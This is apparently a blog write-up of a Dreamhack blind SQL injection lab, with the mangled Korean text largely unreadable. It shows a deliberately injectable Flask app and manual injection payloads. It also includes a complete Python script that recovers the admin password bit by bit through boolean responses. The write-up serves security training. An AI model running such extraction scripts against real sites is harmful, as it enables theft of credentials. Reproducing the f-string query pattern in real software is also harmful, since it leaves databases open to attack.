๐๏ธAccess
Exercise: Blind SQL Injection Advanced์์ ์ค์ตํ๋ ๋ฌธ์ ์ด๋ค.
๊ด๋ฆฌ์์ ๋น๋ฐ๋ฒํธ๋ "์์คํค์ฝ๋"์ "ํ๊ธ"๋ก ๊ตฌ์ฑ๋์ด ์๋ค.
๐พExploit Algorithm & Payload
#app.py
import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
{% if nrows == 1%}
<pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''
@app.route('/', methods=['GET'])
def index():
uid = request.args.get('uid', '')
nrows = 0
if uid:
cur = mysql.connection.cursor()
nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")
return render_template_string(template, uid=uid, nrows=nrows)
if __name__ == '__main__':
app.run(host='0.0.0.0')
#init.sql
CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `user_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;
#1
: ‘/’ ํ์ด์ง์์ ๊ฐ์ ์ ๋ ฅํ๋ฉด ๊ฒฐ๊ณผ๊ฐ ๋ฐ์ํ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
: input ํ๊ทธ์ admin์ submitํ์๋๋ ๊ฒฐ๊ณผ๋ก ์ฌ์ฉ์๊ฐ ์กด์ฌํ๋ค๋ ๊ฐ์ ํ์ธํ ์ ์๋ค.
: GET๋ฐฉ์์ผ๋ก /?uid ํ๋ผ๋ฏธํฐ์ ๊ฐ์ ์ ๋ ฅํ๋ฉด ๋์ํ๋ ๊ฒ์ ์ ์ ์๋ค.
: ๊ด๋ฆฌ์๋ก ์ถ์ธก๋๋ ๊ณ์ ์(admin) ์ฌ์ฉ์๋ฅผ ํ์ธํ๊ธฐ์ ๊ด๋ฆฌ์ ํจ์ค์๋์ ๊ธธ์ด๋ฅผ ํ์ ํ๊ณ , "์์คํค์ฝ๋"์ "ํ๊ธ"๋ก ์๋ํ์ฌ FLAG๋ฅผ ํ๋ํ๊ณ ์ ์๊ฐํ๋ค.
#2
-Input Form
SELECT * FROM users WHERE uid='';
1)
admin
1-1)
guest
2)
guest' and substr(upw,1,1)='a
guest' and substr(upw,1,1)='b
...
guest' and substr(upw,1,1)='g #exists
guest' and substr(upw,2,1)='u #exists
guest' and substr(upw,3,1)='e #exists
...
3)
#Binary Search๋ฅผ ํตํ Blind SQLI๋ ๋์ ํ์ธ
#์์คํค๋ฒํธ 32~126
guest' and ascii(substr(upw,1,1))>='102 #exists
guest' and ascii(substr(upw,2,1))>='117 #exists
guest' and ascii(substr(upw,3,1))>='101 #exists
guest' and ascii(substr(upw,4,1))>='115 #exists
guest' and ascii(substr(upw,5,1))>='116 #exists
4)
#substr์ index ์กฐ์ ๋ก ํจ์ค์๋ ๊ธธ์ด ํ์ธ
guest' and LENGTH(upw)=5; #exists
5) #bit์ฐ์ฐ์ผ๋ก ํ ๋ฐ์ดํธ์ฉ ํ์
: ๋ค์๊ณผ ๊ฐ์ด ์๋ํ์ฌ ๊ฒฐ๊ณผ ๊ฐ์ ์ป์ ์ ์์๋ค.
: ์ฌ๊ธฐ์ LENGTH๋ก admin ํจ์ค์๋ ๊ธธ์ด(27)๋ฅผ ์ป์์ง๋ง char_length๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ์ข์ ๊ฒ ๊ฐ๋ค.
(๋ฌธ์ ๊ตฌ๋ถ์์ด ๋ฌธ์ ํ๋๋น ํ๋๋ก ์ฒดํฌํด์ฃผ๊ธฐ ๋๋ฌธ)
(LENGTH๋ก ํด๋ ์๊ด์ ์์)
๐Analysis and results for obtaining the Flag DH{…}
###์ฐธ๊ณ ###
#string.ascii_letters: ์์ด ์ํ๋ฒณ ์๋ฌธ์, ๋๋ฌธ์ ๋ชจ๋๋ฅผ ์ถ๋ ฅ
#string.digits: ์ญ์ง์ 0 ~ 9 ๊น์ง ์ถ๋ ฅ
#string.punctuation: ํน์ ๋ฌธ์ ์ถ๋ ฅ
#target_chr = string.ascii_letters + string.digits + string.punctuation
import requests, string
#GET ๋ฐฉ์์ผ๋ก ๋์
target_url = f"http://host3.dreamhack.games:24109/"
#ํจ์ค์๋ ๊ธธ์ด ์ด๊ธฐํ
upw_len = 1
#ํจ์ค์๋๊ฐ ์๋ ๊ฒฝ์ฐ์ Content-Length ๊ธธ์ด ์ ์ฅ
#Content-Length์ ๋์์ด ๋ค๋ฅผ ๊ฒฝ์ฐ ํจ์ค์๋ ๊ธธ์ด๋ก ์ ์ถ
#์ฌ๊ธฐ์๋ ํจ์ค์๋ ์๋ ๊ฐ [214-215], ํจ์ค์๋ ๋์ ๊ฐ -
content_len = ""
#์ฌ์ฉ์ ํจ์ค์๋ ๊ธธ์ด
while(1):
print(f"upw_len: {upw_len}")
payload = f"admin' AND LENGTH(upw) ={upw_len}#"
param = {
#http://host3.dreamhack.games:10005/?uid=
'uid':payload,
}
response = requests.get(target_url, params=param)
if upw_len == 1:
content_len = response.headers["Content-Length"]
content_length_int = int(content_len)
content_margin = content_length_int + 10
content_len = str(content_margin)
print(f"Content-Length: {content_len}")
upw_len += 1
continue
#Content-Length ๋น๊ต๋ฅผ ์ํ ๋ณ์
content_com = response.headers["Content-Length"]
if int(content_len) < int(content_com):
break
else:
upw_len += 1
print(f"[*]upw_len: {upw_len}")
password="" #ํจ์ค์๋ ๊ฐ
def convert_bits_to_korean(bits):
korean_char_code_list = []
for i in range(0, len(bits), 8):
byte_bits = bits[i:i+8]
if byte_bits == "00000000":
break
char_code_decimal = int(byte_bits, 2)
# UTF-8 ๋์ฝ๋ฉ์ ํตํด ํ๊ธ ๋ฌธ์ ์ป๊ธฐ(Big Endian ํํ์ ๋ฌธ์)
# ์ต์ข
์ ์ผ๋ก utf-8 ๋ก decode.
korean_char_code_list.append(char_code_decimal)
korean_text_bytes=bytes(korean_char_code_list)
return korean_text_bytes.decode('utf-8')
for i in range(1, upw_len+1):
bit_length=0
while(True):
bit_length += 1
payload= f"admin' and LENGTH(bin(ord(substr(upw,{i},1))))={bit_length}; --"
param={
'uid': payload
}
response=requests.get(target_url,params=param)
if 'exists' in response.text:
break
print(f"{i}๋ฒ์งธ pwd(๋ฌธ์ ๋นํธ): {bit_length}")
bits=""
for j in range(1, bit_length+1):
payload=f"admin' and substr(bin(ord(substr(upw,{i},1))),{j},1)='1'; -- "
param={
'uid': payload
}
response=requests.get(target_url,params=param)
if 'exists' in response.text:
bits+='1'
else:
bits+='0'
print(f"-> {bits}")
password+=convert_bits_to_korean(bits)
print("Password:", password)
๐Summary
Blind SQL Injection
: DB ์ฟผ๋ฆฌ์ ๋ํ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ๋ฐํํ์ง ์์ผ๋ฉด ๊ณต๊ฒฉ์ ํ ์ ์๋ Error-Based SQL Injection๊ณผ ๋ฌ๋ฆฌ ์ค๋ฅ ๋ฉ์์ง๊ฐ ์๋ ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ์ ์ฐธ๊ณผ ๊ฑฐ์ง์ ํตํด ์๋ํ์ง ์์ SQL๋ฌธ์ ์คํํจ์ผ๋ก์จ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๋น์ ์์ ์ผ๋ก ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ
-์ฐธ๊ณ ๊ณต๊ฒฉ ๊ธฐ๋ฒ-
: substr, bin, ord ํจ์๋ SQL ์ฟผ๋ฆฌ์์ ๋ฌธ์์ด ๋ด์ ๋ฌธ์๋ฅผ ์กฐ์ํ๊ณ ๋น๊ตํ๋ ๋ฐ ์ฌ์ฉ
substr(string, start, length)
: ์ฃผ์ด์ง ๋ฌธ์์ด์์ ํ์ ๋ฌธ์์ด์ ์ถ์ถํ๋ ์ธ ๊ฐ์ง ์ธ์๋ฅผ ์ฌ์ฉ
bin(numeric)
: ์ซ์ ๊ฐ์ ์ด์ง ๋ฌธ์์ด ํํ์ผ๋ก ๋ณํ
: ์ถ๊ฐ ์กฐ์์ ์ํด ๋ฌธ์ ์ฝ๋๋ฅผ ์ด์ง ๋ฌธ์์ด๋ก ๋ณํํ๊ธฐ ์ํด ์ผ๋ฐ์ ์ผ๋ก ord ํจ์์ ํจ๊ป ์ฌ์ฉ๋๊ธฐ๋ ํจ
ord(๋ฌธ์)
: ์ฃผ์ด์ง ๋ฌธ์์ ์ ํฐ์ฝ๋ ์ฝ๋ ํฌ์ธํธ๋ก ๋ฐํ
: ํน์ ๋ฌธ์์ ๋ฌธ์ ์ฝ๋๋ฅผ ์ป๋๋ฐ ์ฌ์ฉ
'[Dreamhack]WebHacking > ๋ก๋๋งต_ServerSide' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level1: error based sql injection (0) | 2024.01.26 |
---|